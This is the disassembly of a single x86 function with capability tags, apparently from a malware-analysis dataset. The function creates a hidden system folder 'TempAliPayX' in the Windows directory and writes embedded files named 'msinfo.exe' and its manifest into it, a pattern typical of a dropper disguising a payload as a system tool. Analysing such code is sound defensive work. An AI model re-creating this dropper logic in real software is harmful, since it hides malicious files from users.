Function at 0x401e60
Capabilities:
Create directory
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x56f190]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push 0x104
lea ecx, [ebp - 0x108]
push ebx
push ecx
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x124], ebx
call fcn.00503970
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401ec1
mov ecx, dword [str.TempAliPayX]
mov edx, dword [0x54ed7c]
mov dword [eax], ecx
mov ecx, dword [0x54ed80]
mov dword [eax + 4], edx
mov dx, word [0x54ed84]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
push ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401f12
mov dx, word [0x54ed88]
lea eax, [ebp - 0x108]
mov word [edi], dx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f30
sub eax, edx
mov edx, dword [ebp - 0x114]
lea esi, [ebp + eax - 0x108]
mov eax, dword [edx + 0xbc]
mov dword [ebp - 0x128], eax
test eax, eax
je 0x40214d
cmp dword [eax + 0x1c], 0x50464844
jne 0x40214d
mov ecx, esi
sub ecx, eax
lea edi, [eax + 0x30]
sub ecx, 0x20
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x120], edi
mov dword [ebp - 0x118], ecx
mov eax, dword [edi]
cmp eax, 0x4d534546
jne 0x401ff8
mov eax, dword [str.msinfo.exe]
mov ecx, dword [0x54ed90]
mov dword [esi], eax
mov ax, word [0x54ed94]
mov dword [esi + 4], ecx
mov cl, byte [0x54ed96]
mov word [esi + 8], ax
mov byte [esi + 0xa], cl
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
add ebx, dword [edx + 0xbc]
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x108]
lea ecx, [edx + 0xc4]
lea edx, [eax + 1]
mov dword [ebp - 0x12c], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401fd6
sub eax, dword [ebp - 0x12c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00402ff0
mov edx, dword [ebp - 0x114]
jmp 0x402062
cmp eax, 0x4d534d46
jne 0x402034
mov ecx, dword [str.msinfo.exe.manifest]
mov eax, dword [0x54ed9c]
mov dword [esi], ecx
mov ecx, dword [0x54eda0]
mov dword [esi + 4], eax
mov eax, dword [0x54eda4]
mov dword [esi + 8], ecx
mov ecx, dword [0x54eda8]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ecx
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x10c], eax
jmp 0x402059
cmp eax, 0x4d534446
jne 0x402062
lea eax, [edi - 0x10]
mov edi, edi
mov cl, byte [eax]
mov ebx, dword [ebp - 0x118]
mov byte [ebx + eax], cl
inc eax
test cl, cl
jne 0x402040
mov ecx, dword [edi + 0xc]
mov dword [ebp - 0x10c], ecx
mov ebx, dword [edi + 8]
add ebx, dword [edx + 0xbc]
cmp dword [ebp - 0x10c], 0
je 0x4020e7
test ebx, ebx
je 0x4020e7
push 0
push 6
push 2
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4020d1
test edi, edi
je 0x4020d1
mov ecx, dword [ebp - 0x10c]
push 0
lea eax, [ebp - 0x124]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4020c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x110], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov dword [ebp - 0x10c], ebx
mov eax, dword [ebp - 0x110]
test eax, eax
jne 0x40214f
mov edi, dword [ebp - 0x120]
mov edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x11c]
sub dword [ebp - 0x118], 0x20
inc eax
add edi, 0x20
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], edi
cmp eax, 0x10
jb 0x401f83
mov esi, dword [ebp - 0x110]
test esi, esi
jne 0x402138
mov eax, dword [ebp - 0x128]
mov dword [eax + 0x220], 0xffffffff
mov eax, dword [edx + 0xc0]
mov ecx, dword [edx + 0xbc]
call fcn.00401840
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00501afe
mov esp, ebp
pop ebp
ret 4
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00501afe
mov esp, ebp
pop ebp
ret 4